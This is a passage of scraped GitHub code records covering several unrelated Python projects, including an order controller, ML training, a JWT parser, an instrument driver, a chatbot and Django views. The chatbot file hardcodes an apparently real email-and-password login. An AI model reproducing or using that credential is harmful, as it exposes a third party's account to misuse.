length):\r\n product = []\r\n for j in range(0, 3):\r\n product.append(Order_list[count])\r\n count = count + 1\r\n\r\n Product_list.append(product)\r\n\r\n return Product_list,length\r\n\r\n\r\ndef order(product_id,quantity,prices):\r\n try:\r\n data={\r\n \"product id\":str(product_id),\r\n \"quantity\":str(quantity) ,\r\n \"price\":str(int(prices)*int(quantity))\r\n\r\n }\r\n\r\n db.child('Temp_Order').push(data)\r\n\r\n\r\n return True\r\n except:\r\n return False\r\n\r\ndef Order_info(customer_id,employee_id,total_price,time,date,status):\r\n try:\r\n data={\r\n\r\n 'Customer_id':str(customer_id),\r\n 'Employee_id':str(employee_id),\r\n 'Total_price':str(total_price),\r\n 'Time':str(time),\r\n 'Date':str(date),\r\n 'Status':str(status)\r\n \r\n \r\n }\r\n print(data)\r\n db.child('Order').push(data)\r\n return True\r\n except:\r\n return False", "repo_name": "OmarAhmed8581/Tele-Medicines", "sub_path": "Controller/Order/Order.py", "file_name": "Order.py", "file_ext": "py", "file_size_in_byte": 1806, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyrebase.initialize_app", "line_number": 6, "usage_type": "call"}, {"api_name": "Controller.Configure.firebaseConfig", "line_number": 6, "usage_type": "attribute"}, {"api_name": "Controller.Configure", "line_number": 6, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "name"}]} {"seq_id": "30138936658", "text": "#!/usr/bin/pthon3\n\"\"\" UserSearches Module \"\"\"\n\nfrom os import getenv\nimport models\nfrom models.base_model import BaseModel, Base\nfrom sqlalchemy import Column, String, ForeignKey, Integer, DateTime, Text,\\\n MetaData, Table\nfrom sqlalchemy.orm import relationship, backref\n\nstorage_t = getenv(\"PHARMACY_Storage\")\n\n\nclass UserSearches(BaseModel, Base):\n \"\"\"Representation of UserSearches \"\"\"\n __tablename__ = 'user_searches'\n if models.storage_t == (\"db\"):\n search_id = Column(String(60), primary_key=True)\n user_id = Column(String(60), ForeignKey('users.id'), nullable=False)\n drug_id = Column(String(60), ForeignKey('drugs.id'), nullable=False)\n search_date = Column(DateTime, nullable=False)\n search_results = Column(String(512), nullable=True)\n else:\n search_id = None\n user_id = None\n drug_id = None\n search_date = \"\"\n search_results = \"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"initializes UserSearches\"\"\"\n super().__init__(*args, **kwargs)\n", "repo_name": "Nne85/Pharma_Finda", "sub_path": "models/user_searches.py", "file_name": "user_searches.py", "file_ext": "py", "file_size_in_byte": 1050, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "models.base_model.BaseModel", "line_number": 14, "usage_type": "name"}, {"api_name": "models.base_model.Base", "line_number": 14, "usage_type": "name"}, {"api_name": "models.storage_t", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sqlalchemy.Column", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 21, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 22, "usage_type": "call"}]} {"seq_id": "25480809011", "text": "from sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom cleansing import *\nfrom load_data import load_IMDb\nimport nltk\n\n\ndef main():\n x_train = load_clean_data()\n y_train = load_IMDb()[1]\n x_test = load_clean_data(kind='test')\n y_test = load_IMDb(kind='test')[1]\n print(x_train.shape, y_train.shape, x_test.shape, y_test.shape)\n stop = nltk.corpus.stopwords.words('english')\n tfidf = TfidfVectorizer(lowercase=False)\n tfidf_lr = Pipeline([('vecs', tfidf), ('clf', LogisticRegression())])\n param_grid = [{'vecs__ngram_range': [(1, 1)],\n 'vecs__stop_words': [stop, None],\n 'vecs__tokenizer': [tokenizer, tokenizer_porter],\n 'clf__penalty': ['l1', 'l2'],\n 'clf__C': [1.0, 10, 100]},\n {'vecs__ngram_range': [(1, 1)],\n 'vecs__stop_words': [stop, None],\n 'vecs__tokenizer': [tokenizer, tokenizer_porter],\n 'vecs__idf':[False],\n 'vecs__norm':[False],\n 'clf__penalty': ['l1', 'l2'],\n 'clf__C': [1.0, 10, 100]}]\n gs_tfidf_lr = GridSearchCV(estimator=tfidf_lr,\n param_grid=param_grid,\n scoring='accuracy',\n n_jobs=-1,\n cv=5)\n gs_tfidf_lr.fit(x_train, y_train)\n print(gs_tfidf_lr.best_params_)\n print(gs_tfidf_lr.best_score_)\n clf = gs_tfidf_lr.best_estimator_\n print(clf.score(x_test, y_test))\n\n return 0\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "onnga-wasabi/ml", "sub_path": "ch08/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "load_data.load_IMDb", "line_number": 12, "usage_type": "call"}, {"api_name": "load_data.load_IMDb", "line_number": 14, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 16, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 31, "usage_type": "call"}]} {"seq_id": "3609384723", "text": "import json\n\nfrom exceptions import FormatException, UnsupportedException\nfrom lib.utils import base64_url_decode\n\n\nclass JWT:\n def __init__(self, text):\n jwt = text.split('.')\n if len(jwt) != 3:\n raise FormatException(\"jwt\")\n\n self.header = json.loads(base64_url_decode(jwt[0]).decode())\n self.payload = json.loads(base64_url_decode(jwt[1]).decode())\n\n self.base64_header = jwt[0]\n self.base64_payload = jwt[1]\n self.signature = jwt[2] # base64 url\n\n def dump(self):\n return {\n 'header': self.header,\n 'payload': self.payload,\n 'signature': self.signature\n }\n", "repo_name": "tMorriss/attestation_checker", "sub_path": "lib/jwt.py", "file_name": "jwt.py", "file_ext": "py", "file_size_in_byte": 673, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "exceptions.FormatException", "line_number": 11, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 13, "usage_type": "call"}, {"api_name": "lib.utils.base64_url_decode", "line_number": 13, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "lib.utils.base64_url_decode", "line_number": 14, "usage_type": "call"}]} {"seq_id": "40380697400", "text": "#!/usr/bin/env python3\n\"\"\"Functional Python Programming\n\nChapter 9, Example Set 3\n\nhttp://www.tylervigen.com/view_correlation?id=7\n\nhttp://www.tylervigen.com/view_correlation?id=97\n\nhttp://www.tylervigen.com/view_correlation?id=3890\n\nhttp://www.tylervigen.com/view_correlation?id=43\n\"\"\"\n# pylint: disable=wildcard-import,unused-wildcard-import,wrong-import-position,wrong-import-order,reimported\n\nfrom bs4 import BeautifulSoup\nimport urllib.request\n\nfrom typing import Iterator\ndef data_iter_html(url: str) -> Iterator[str]:\n with urllib.request.urlopen(url) as page:\n soup = BeautifulSoup(page.read(), 'html.parser')\n data = soup.html.body.table.table\n for subtable in data.table:\n for c in subtable.children:\n yield c.text\n\nfrom typing import List, Optional\ndef column_data(*data_sets: List[str]) -> Iterator[List[str]]:\n \"\"\"\n >>> s7= ['', '2000', '2001', '2002', '2003', '2004', '2005', '2006',\n ... '2007', '2008', '2009', '',\n ... 'Per capita consumption of cheese (US)Pounds (USDA)',\n ... '29.8', '30.1', '30.5', '30.6', '31.3', '31.7', '32.6', '33.1',\n ... '32.7', '32.8', '',\n ... 'Number of people who died by becoming tangled in their bedsheets'\n ... 'Deaths (US) (CDC)', '327', '456', '509', '497', '596', '573',\n ... '661', '741', '809', '717', '', 'Correlation: 0.947091']\n >>> list(column_data(s7)) # doctest: +NORMALIZE_WHITESPACE\n [['year', 'Per capita consumption of cheese (US)Pounds (USDA)',\n 'Number of people who died by becoming tangled in their bedsheetsDeaths (US) (CDC)'],\n ['2000', '29.8', '327'], ['2001', '30.1', '456'], ['2002', '30.5', '509'],\n ['2003', '30.6', '497'], ['2004', '31.3', '596'], ['2005', '31.7', '573'],\n ['2006', '32.6', '661'], ['2007', '33.1', '741'], ['2008', '32.7', '809'],\n ['2009', '32.8', '717']]\n \"\"\"\n def year_fixup(row: List[Optional[str]]) -> List[str]:\n return list(c or \"year\" for c in row)\n\n row = list(ds[g*12] for ds in data_sets for g in range(3))\n yield year_fixup(row)\n\n # Can be done with filter(None, ...), also.\n for i in range(1, 12):\n row = list(ds[g*12+i] for ds in data_sets for g in range(3))\n if any(row):\n yield row\n\nfrom typing import Union\ndef num_cvt(string: str) -> Union[int, float]:\n \"\"\"\n >>> num_cvt(\"2007\")\n 2007\n >>> num_cvt(\"3.14\")\n 3.14\n >>> num_cvt(\"1,234\")\n 1234\n \"\"\"\n try:\n return int(string)\n except ValueError:\n pass\n try:\n return float(string)\n except ValueError:\n pass\n return int(string.replace(\",\", \"\"))\n\nfrom typing import Iterable, Iterator\ndef convert(\n row_iter: Iterator[str]\n ) -> Union[Iterable[str], Iterable[Union[int, float]]]:\n \"\"\"\n >>> s3890= ['', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '', 'Per capita consumption of mozzarella cheese (US)Pounds (USDA)', '9.3', '9.7', '9.7', '9.7', '9.9', '10.2', '10.5', '11', '10.6', '10.6', '', 'Civil engineering doctorates awarded (US)Degrees awarded (National Science Foundation)', '480', '501', '540', '552', '547', '622', '655', '701', '712', '708', '', 'Correlation: 0.958648']\n >>> list(convert(column_data(s3890)))\n [('year', 'Per capita consumption of mozzarella cheese (US)Pounds (USDA)', 'Civil engineering doctorates awarded (US)Degrees awarded (National Science Foundation)'), (2000, 9.3, 480), (2001, 9.7, 501), (2002, 9.7, 540), (2003, 9.7, 552), (2004, 9.9, 547), (2005, 10.2, 622), (2006, 10.5, 655), (2007, 11, 701), (2008, 10.6, 712), (2009, 10.6, 708)]\n \"\"\"\n yield tuple(next(row_iter)) # Dont' convert the header\n for row in row_iter:\n yield tuple(map(num_cvt, row))\n\n# Raw data from the internet\n# s7 = list(data_iter_html( \"http://www.tylervigen.com/view_correlation?id=7\" ))\n# s3890 = list(data_iter_html( \"http://www.tylervigen.com/view_correlation?id=3890\" ))\n# s97 = list(data_iter_html( \"http://www.tylervigen.com/view_correlation?id=97\" ))\n# s43 = list(data_iter_html( \"http://www.tylervigen.com/view_correlation?id=43\" ))\n\n# Saves some download and HTML parse bandwidth\ns7 = ['', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '', 'Per capita consumption of cheese (US)Pounds (USDA)', '29.8', '30.1', '30.5', '30.6', '31.3', '31.7', '32.6', '33.1', '32.7', '32.8', '', 'Number of people who died by becoming tangled in their bedsheetsDeaths (US) (CDC)', '327', '456', '509', '497', '596', '573', '661', '741', '809', '717', '', 'Correlation: 0.947091']\ns3890 = ['', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '', 'Per capita consumption of mozzarella cheese (US)Pounds (USDA)', '9.3', '9.7', '9.7', '9.7', '9.9', '10.2', '10.5', '11', '10.6', '10.6', '', 'Civil engineering doctorates awarded (US)Degrees awarded (National Science Foundation)', '480', '501', '540', '552', '547', '622', '655', '701', '712', '708', '', 'Correlation: 0.958648']\ns97 = ['', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '', 'Total revenue generated by arcades (US)Dollars in millions (US Census)', '1,196', '1,176', '1,269', '1,240', '1,307', '1,435', '1,601', '1,654', '1,803', '1,734', '', 'Computer science doctorates awarded (US)Degrees awarded (National Science Foundation)', '861', '830', '809', '867', '948', '1,129', '1,453', '1,656', '1,787', '1,611', '', 'Correlation: 0.985065']\ns43 = ['', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '', 'US crude oil imports from VenezuelaMillions of barrels (Dept. of Energy)', '446', '471', '438', '436', '473', '449', '416', '420', '381', '352', '', 'Per capita consumption of high fructose corn syrup (US)Pounds (USDA)', '62.6', '62.5', '62.8', '60.9', '59.8', '59.1', '58.2', '56.1', '53', '50.1', '', 'Correlation: 0.884883']\n\nfrom typing import TypeVar, Iterator, Iterable\nT_ = TypeVar(\"T_\")\ndef column(source: Iterable[List[T_]], x: int) -> Iterator[T_]:\n for row in source:\n yield row[x]\n\nfrom itertools import *\nfrom Chapter04.ch04_ex4 import corr\n\nfrom typing import TypeVar, List, Union, Tuple, Iterator\ndef multi_corr(\n source: List[List[Union[str, float]]]\n ) -> Iterator[Tuple[Union[str, float], Union[str, float], float]]:\n n = len(source[0])\n for p, q in combinations(range(n), 2):\n header_p, *data_p = list(column(source, p))\n header_q, *data_q = list(column(source, q))\n if header_p == header_q:\n continue\n r_pq = corr(data_p, data_q)\n yield header_p, header_q, r_pq\n\ntest_multi_corr = \"\"\"\n>>> source = list(convert(column_data(s7, s3890, s43)))\n>>> len( source )\n11\n>>> source[0]\n('year', 'Per capita consumption of cheese (US)Pounds (USDA)', 'Number of people who died by becoming tangled in their bedsheetsDeaths (US) (CDC)', 'year', 'Per capita consumption of mozzarella cheese (US)Pounds (USDA)', 'Civil engineering doctorates awarded (US)Degrees awarded (National Science Foundation)', 'year', 'US crude oil imports from VenezuelaMillions of barrels (Dept. of Energy)', 'Per capita consumption of high fructose corn syrup (US)Pounds (USDA)')\n\n>>> results= list( multi_corr( source ) )\n>>> len(results)\n33\n>>> print( \"{2: 4.2f}: {0} vs {1}\".format(*results[0]) )\n 0.96: year vs Per capita consumption of cheese (US)Pounds (USDA)\n>>> print( \"{2: 4.2f}: {0} vs {1}\".format(*results[15]) )\n 0.94: Number of people who died by becoming tangled in their bedsheetsDeaths (US) (CDC) vs Civil engineering doctorates awarded (US)Degrees awarded (National Science Foundation)\n>>> print( \"{2: 4.2f}: {0} vs {1}\".format(*results[25]) )\n-0.64: Per capita consumption of mozzarella cheese (US)Pounds (USDA) vs US crude oil imports from VenezuelaMillions of barrels (Dept. of Energy)\n>>> print( \"{2: 4.2f}: {0} vs {1}\".format(*results[32]) )\n 0.88: US crude oil imports from VenezuelaMillions of barrels (Dept. of Energy) vs Per capita consumption of high fructose corn syrup (US)Pounds (USDA)\n\n\"\"\"\n\n__test__ = {\n \"test_multi_corr\": test_multi_corr,\n}\n\ndef test():\n import doctest\n doctest.testmod(verbose=True)\n\nif __name__ == \"__main__\":\n test()\n", "repo_name": "PacktPublishing/Functional-Python-Programming-Second-Edition", "sub_path": "Chapter09/ch09_ex3.py", "file_name": "ch09_ex3.py", "file_ext": "py", "file_size_in_byte": 8210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 81, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 21, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 21, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 21, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.Iterator", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.TypeVar", "line_number": 105, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 115, "usage_type": "name"}, {"api_name": "Chapter04.ch04_ex4.corr", "line_number": 123, "usage_type": "call"}, {"api_name": "typing.Iterator", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 116, "usage_type": "name"}, {"api_name": "doctest.testmod", "line_number": 153, "usage_type": "call"}]} {"seq_id": "70944145511", "text": "#------------------------------------------------------------------------------\n\"\"\"\n\nDriver for a VersaTenn III Environmental Chamber Controller\n\n\"\"\"\n#------------------------------------------------------------------------------\n\nimport serial\nimport time\n\n#------------------------------------------------------------------------------\n\nENQ = b'\\x05' # Enquiry\nACK = b'\\x06' # Acknowledge\nNAK = b'\\x15' # Neg. Acknowledge\nSTX = b'\\x02' # Start of Text\nETX = b'\\x03' # End of Text\nEOT = b'\\x04' # End of Transmission\nDLE = b'\\x10' # Data Link Escape\nLF = b'\\x0a' # Line Feed\nCR = b'\\x0d' # Carriage Return\nXON = b'\\x11' # X-On\nXOFF = b'\\x13' # X-Off\n\n#------------------------------------------------------------------------------\n\ndef dump(msg, x):\n s = ['%02x' % c for c in x]\n print(\"%s: %s\" % (msg, \" \".join(s)))\n\n#------------------------------------------------------------------------------\n\nMINIMAL_TIME = 0.05 # 50ms\n\nclass vt3:\n \"\"\"VersaTenn III Driver\"\"\"\n\n def __init__(self, port, baud=1200):\n \"\"\"connect to and identify the versatenn 3 controller\"\"\"\n self.serial = serial.Serial(\n port=port,\n baudrate=baud,\n bytesize=serial.SEVENBITS,\n parity=serial.PARITY_ODD,\n stopbits=serial.STOPBITS_ONE,\n timeout=1.0)\n self.last_time = None\n\n def command(self, cmd, rsp=True):\n \"\"\"send a command, receive a response\"\"\"\n dump(\"tx\", cmd)\n # wait a minimal amount of time between commands\n if self.last_time is not None:\n delta = MINIMAL_TIME + self.last_time - time.time()\n if delta > 0.0:\n time.sleep(delta)\n self.last_time = time.time()\n # send the command to the serial port\n self.serial.write(cmd)\n # get a response if required\n if rsp:\n x = self.serial.read_until(terminator=ACK)\n dump(\"rx\", x)\n return x\n return None\n\n def enquire(self):\n rsp = self.command(b'0' + ENQ)\n\n def get_sw_version(self):\n rsp = self.command(STX + b'? MDL' + ETX)\n\n\n#------------------------------------------------------------------------------\n", "repo_name": "deadsy/tenney", "sub_path": "vt3/vt3.py", "file_name": "vt3.py", "file_ext": "py", "file_size_in_byte": 2044, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "serial.Serial", "line_number": 41, "usage_type": "call"}, {"api_name": "serial.SEVENBITS", "line_number": 44, "usage_type": "attribute"}, {"api_name": "serial.PARITY_ODD", "line_number": 45, "usage_type": "attribute"}, {"api_name": "serial.STOPBITS_ONE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 57, "usage_type": "call"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}]} {"seq_id": "24856624188", "text": "from keywords import keywords\nfrom decision import best_children, best_branches\nfrom pandas_to_tree import pandas_to_tree\nfrom flow import high_scores\nimport pandas as pd\nfrom chatbot import EchoBot, recieveMessage, sendMessage\nfrom RLchatbot import giving_points\nfrom datetime import date\nfrom matplotlib.dates import date2num\nfrom soutions_frequency import frequency_addition\n\n\n\nclass Node:\n\n def __init__(self, label, parents=[], children = [], keywords = [], f = lambda *args: None):\n if len(parents) != 0:\n assert all([isinstance(parent, Node) for parent in parents])\n if len(children) != 0:\n assert all([isinstance(child, Node) for child in children])\n\n self.label = label\n self.keywords = keywords\n self.children = children\n self.parents = parents\n self.func = f\n\n def __str__(self): \n return self.label\n\n def add_child(self, lst):\n for child in lst:\n self.children.append(child)\n child.parents.append(self)\n\n#initialise\nmilling_df = pd.read_csv('milling_machine.csv')\nmilling_tree = pandas_to_tree(milling_df)\n#global edm_tree \n#edm_tree = pandas_to_tree(pd.read_csv('edm_milling.csv'))\nclient = EchoBot(\"boxwithabutton@gmail.com\", \"FUCKBotpress\")\nmessage = \"\"\nthreadId = \"\"\nthreadType = \"\"\nstart = Node('Hello. What machine can I help you with today?', keywords = ['start', 'reset'])\n\n\ndef millf(): \n tree = milling_tree\n text = recieveMessage()\n if 'reset' in text.split():\n reset()\n return\n analyses = best_branches(tree, text)\n for i in range(len(analyses)):\n branch = analyses[i]\n solutions = high_scores(branch)\n sendMessage('Your problem could be: ' + branch.label)\n for i in range(len(solutions)):\n sol = solutions[i]\n sendMessage(sol.label)\n sendMessage(sol.branches[0].label)\n sendMessage('Did that work? (yes/no)')\n response = recieveMessage().lower()\n if 'reset' in response.split():\n reset()\n return\n if 'yes' in response.split():\n reset()\n sol.datelist.append(date2num(date.today()))\n sol.score += 1\n frequency_addition(sol)\n return\n\ndef reset():\n sendMessage('Resetting the conversation')\n nodes_to_visit = [start]\n tree = None\n sendMessage('Glad I could help!')\n sendMessage('Hello. What machine can I help you with today?')\n \n\n\ncnc = Node(\"I don't have any data for a cnc machine\", keywords = ['cnc'], f = reset)\nedm = Node(\"I don't have any data for a cnc machine\", keywords = ['edm'], f = reset)\nmill = Node('MILLING: Can you describe your issue?', keywords = ['milling', 'mill'], f = millf)\nstart.add_child([cnc,edm, mill])\n\nglobal nodes_to_visit \nnodes_to_visit = []\nnodes_to_visit.append(start)\nrecieveMessage()\nprint('Ready')\n\nglobal tree\n\nwhile True:\n if len(nodes_to_visit) == 0:\n nodes_to_visit.append(start) \n cur_node = start \n else:\n cur_node = nodes_to_visit.pop()\n sendMessage(cur_node.label)\n cur_node.func()\n text_in = recieveMessage()\n if 'reset' in text_in.split():\n reset()\n continue\n nodes_to_visit.extend(best_children(cur_node,text_in))\n\n\n", "repo_name": "DhilenChin/ShoeString-Error404", "sub_path": "graph.py", "file_name": "graph.py", "file_ext": "py", "file_size_in_byte": 3318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "keywords.keywords", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas_to_tree.pandas_to_tree", "line_number": 38, "usage_type": "call"}, {"api_name": "chatbot.EchoBot", "line_number": 41, "usage_type": "call"}, {"api_name": "chatbot.recieveMessage", "line_number": 50, "usage_type": "call"}, {"api_name": "decision.best_branches", "line_number": 54, "usage_type": "call"}, {"api_name": "flow.high_scores", "line_number": 57, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 58, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 61, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 62, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 63, "usage_type": "call"}, {"api_name": "chatbot.recieveMessage", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.dates.date2num", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 70, "usage_type": "name"}, {"api_name": "soutions_frequency.frequency_addition", "line_number": 72, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 76, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 79, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 80, "usage_type": "call"}, {"api_name": "chatbot.recieveMessage", "line_number": 92, "usage_type": "call"}, {"api_name": "chatbot.sendMessage", "line_number": 103, "usage_type": "call"}, {"api_name": "chatbot.recieveMessage", "line_number": 105, "usage_type": "call"}, {"api_name": "decision.best_children", "line_number": 109, "usage_type": "call"}]} {"seq_id": "32619331951", "text": "from django.shortcuts import render, get_object_or_404,HttpResponseRedirect\nfrom .models import Category, Product\nfrom cart.forms import CartAddProductForm\n\n\ndef product_list(request, category_slug=None):\n category = None\n categories = Category.objects.all()\n products = Product.objects.filter()\n cart_product_form = CartAddProductForm()\n\n if category_slug:\n category = get_object_or_404(Category, slug=category_slug)\n products = products.filter(category=category)\n\n return render(request,\n 'orders/product/list.html',\n {'category': category,\n 'categories': categories,\n 'products': products,\n 'cart_product_form': cart_product_form})\n\n\ndef product_detail(request, id, slug):\n product = get_object_or_404(Product,\n id=id,\n slug=slug)\n cart_product_form = CartAddProductForm()\n products = Product.objects.filter()\n categories = Category.objects.first()\n\n\n return render(request,\n 'orders/product/detail.html',\n {'product': product,'products':products,'categories':categories,\n 'cart_product_form': cart_product_form})\n\n\n\n\n\n\n", "repo_name": "Eapu/pizza", "sub_path": "orders/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1272, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "models.Category.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 8, "usage_type": "name"}, {"api_name": "models.Product.objects.filter", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 9, "usage_type": "name"}, {"api_name": "cart.forms.CartAddProductForm", "line_number": 10, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 13, "usage_type": "call"}, {"api_name": "models.Category", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 25, "usage_type": "call"}, {"api_name": "models.Product", "line_number": 25, "usage_type": "argument"}, {"api_name": "cart.forms.CartAddProductForm", "line_number": 28, "usage_type": "call"}, {"api_name": "models.Product.objects.filter", "line_number": 29, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 29, "usage_type": "name"}, {"api_name": "models.Category.objects.first", "line_number": 30, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 33, "usage_type": "call"}]} {"seq_id": "10794977280", "text": "from django.shortcuts import render, redirect\r\nfrom django.contrib.auth import authenticate, login\r\nfrom .forms import LoginForm\r\nfrom django.contrib.auth.models import User, auth\r\nfrom django.contrib.auth.forms import UserChangeForm\r\nfrom user.models import *\r\nfrom .models import Profile\r\nfrom .models import Event\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom datetime import datetime, timedelta\r\nfrom django.core.exceptions import ValidationError\r\nfrom django.contrib import messages\r\n\r\n\r\ndef loginpage(request):\r\n return render(request, 'BeforeLogin/login.html')\r\n\r\ndef index(request):\r\n return render(request, 'index.html')\r\n\r\ndef about(request):\r\n return render(request, 'about.html')\r\n\r\n@login_required(login_url=loginpage)\r\ndef events(request):\r\n return render(request, 'AfterLogin/events.html')\r\n\r\n@login_required(login_url=loginpage)\r\ndef users(request):\r\n users = User.objects.all()\r\n return render(request, 'users.html', {'users':users})\r\n\r\n@login_required(login_url=loginpage)\r\ndef usersafterlogin(request):\r\n users = User.objects.all()\r\n return render(request, 'AfterLogin/usersafterlogin.html', {'users':users})\r\n\r\ndef signupage(request):\r\n return render(request, 'signup/signup.html')\r\n\r\n@login_required(login_url=loginpage)\r\ndef eventcreation(request):\r\n if request.method == 'POST':\r\n event_name = request.POST['event_name']\r\n event_desc = request.POST['event_desc']\r\n event_address = request.POST['event_address']\r\n event_city = request.POST['event_city']\r\n event_date = request.POST['event_date']\r\n event_zip = request.POST['event_zip']\r\n\r\n user = request.user\r\n\r\n event_image = request.FILES['event_image']\r\n\r\n # event = Event(\r\n # uid=user,\r\n # ename=event_name,\r\n # edesc=event_desc,\r\n # eaddress=event_address,\r\n # ecity=event_city,\r\n # edate=event_date,\r\n # ezip=event_zip,\r\n # image=event_image\r\n # )\r\n if event_image:\r\n event = Event(\r\n uid=user,\r\n ename=event_name,\r\n edesc=event_desc,\r\n eaddress=event_address,\r\n ecity=event_city,\r\n edate=event_date,\r\n ezip=event_zip,\r\n image=event_image\r\n )\r\n else:\r\n # Create an event without an image\r\n event = Event(\r\n uid=user,\r\n ename=event_name,\r\n edesc=event_desc,\r\n eaddress=event_address,\r\n ecity=event_city,\r\n edate=event_date,\r\n ezip=event_zip\r\n )\r\n event.save()\r\n print(\"Success\")\r\n return redirect('eventcreation')\r\n return render(request, 'eventcreation/eventcreation.html')\r\n\r\n\r\n@login_required(login_url=loginpage)\r\ndef afterlogin(request):\r\n return 